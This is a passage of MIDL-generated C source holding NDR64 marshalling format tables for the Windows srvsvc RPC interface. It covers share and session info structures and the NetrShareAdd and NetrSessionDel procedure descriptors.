0x0 */,\n        &__midl_frag813\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag813\n    }\n};\n\nstatic const __midl_frag183_t __midl_frag183 =\n{ \n/* _SHARE_INFO_2 */\n    { \n    /* _SHARE_INFO_2 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_2 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 56 /* 0x38 */,\n        0,\n        0,\n        &__midl_frag188,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag178_t __midl_frag178 =\n{ \n/* _SHARE_INFO_1 */\n    { \n    /* _SHARE_INFO_1 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SHARE_INFO_1 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag216,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag172_t __midl_frag172 =\n{ \n/* _SHARE_INFO */\n    { \n    /* _SHARE_INFO */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag471,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 10 /* 0xa */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 0 /* 0x0 */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag305,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag306,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 502 /* 0x1f6 */,\n        &__midl_frag307,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1004 /* 0x3ec */,\n        &__midl_frag308,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1006 /* 0x3ee */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1501 /* 0x5dd */,\n        &__midl_frag310,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1005 /* 0x3ed */,\n        &__midl_frag311,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 501 /* 0x1f5 */,\n        &__midl_frag312,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 503 /* 0x1f7 */,\n        &__midl_frag313,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 0 /* 0x0 */\n};\n\nstatic const __midl_frag171_t __midl_frag171 =\n{ \n/* *_SHARE_INFO */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag172\n};\n\nstatic const __midl_frag167_t __midl_frag167 =\n{ \n/* NetrShareAdd */\n    { \n    /* NetrShareAdd */      /* procedure NetrShareAdd */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag737,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* InfoStruct */      /* parameter InfoStruct */\n        &__midl_frag172,\n        { \n        /* InfoStruct */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ParmErr */      /* parameter ParmErr */\n        &__midl_frag523,\n        { \n        /* ParmErr */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag159_t __midl_frag159 =\n{ \n/* NetrSessionDel */\n    { \n    /* NetrSessionDel */      /* procedure NetrSessionDel */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* ServerName */      /* parameter ServerName */\n        &__midl_frag733,\n        { \n        /* ServerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ClientName */      /* parameter ClientName */\n        &__midl_frag733,\n        { \n        /* ClientName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* UserName */      /* parameter UserName */\n        &__midl_frag733,\n        { \n        /* UserName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NET_API_STATUS */      /* parameter NET_API_STATUS */\n        &__midl_frag737,\n        { \n        /* NET_API_STATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag152_t __midl_frag152 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_502 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag141\n    }\n};\n\nstatic const __midl_frag147_t __midl_frag147 =\n{ \n/* _SESSION_INFO_502 */\n    { \n    /* _SESSION_INFO_502 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_502 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 32 /* 0x20 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 40 /* 0x28 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag141_t __midl_frag141 =\n{ \n/* *_SESSION_INFO_502 */\n    { \n    /* *_SESSION_INFO_502 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_502 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 48 /* 0x30 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 48 /* 0x30 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 4 /* 0x4 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 32 /* 0x20 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 40 /* 0x28 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 48 /* 0x30 */,\n        &__midl_frag147\n    }\n};\n\nstatic const __midl_frag140_t __midl_frag140 =\n{ \n/* SESSION_INFO_502_CONTAINER */\n    { \n    /* SESSION_INFO_502_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_502_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag152,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag139_t __midl_frag139 =\n{ \n/* *SESSION_INFO_502_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag140\n};\n\nstatic const __midl_frag138_t __midl_frag138 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_10 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag131\n    }\n};\n\nstatic const __midl_frag135_t __midl_frag135 =\n{ \n/* _SESSION_INFO_10 */\n    { \n    /* _SESSION_INFO_10 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_10 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag736\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag131_t __midl_frag131 =\n{ \n/* *_SESSION_INFO_10 */\n    { \n    /* *_SESSION_INFO_10 */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* *_SESSION_INFO_10 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag267\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 1 /* 0x1 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 24 /* 0x18 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 2 /* 0x2 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            },\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 8 /* 0x8 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *wchar_t */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag736\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 24 /* 0x18 */,\n        &__midl_frag135\n    }\n};\n\nstatic const __midl_frag130_t __midl_frag130 =\n{ \n/* SESSION_INFO_10_CONTAINER */\n    { \n    /* SESSION_INFO_10_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* SESSION_INFO_10_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag138,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag129_t __midl_frag129 =\n{ \n/* *SESSION_INFO_10_CONTAINER */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag130\n};\n\nstatic const __midl_frag128_t __midl_frag128 =\n{ \n/*  */\n    { \n    /* *_SESSION_INFO_2 */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag119\n    }\n};\n\nstatic const __midl_frag124_t __midl_frag124 =\n{ \n/* _SESSION_INFO_2 */\n    { \n    /* _SESSION_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _SESSION_INFO_2 */\n            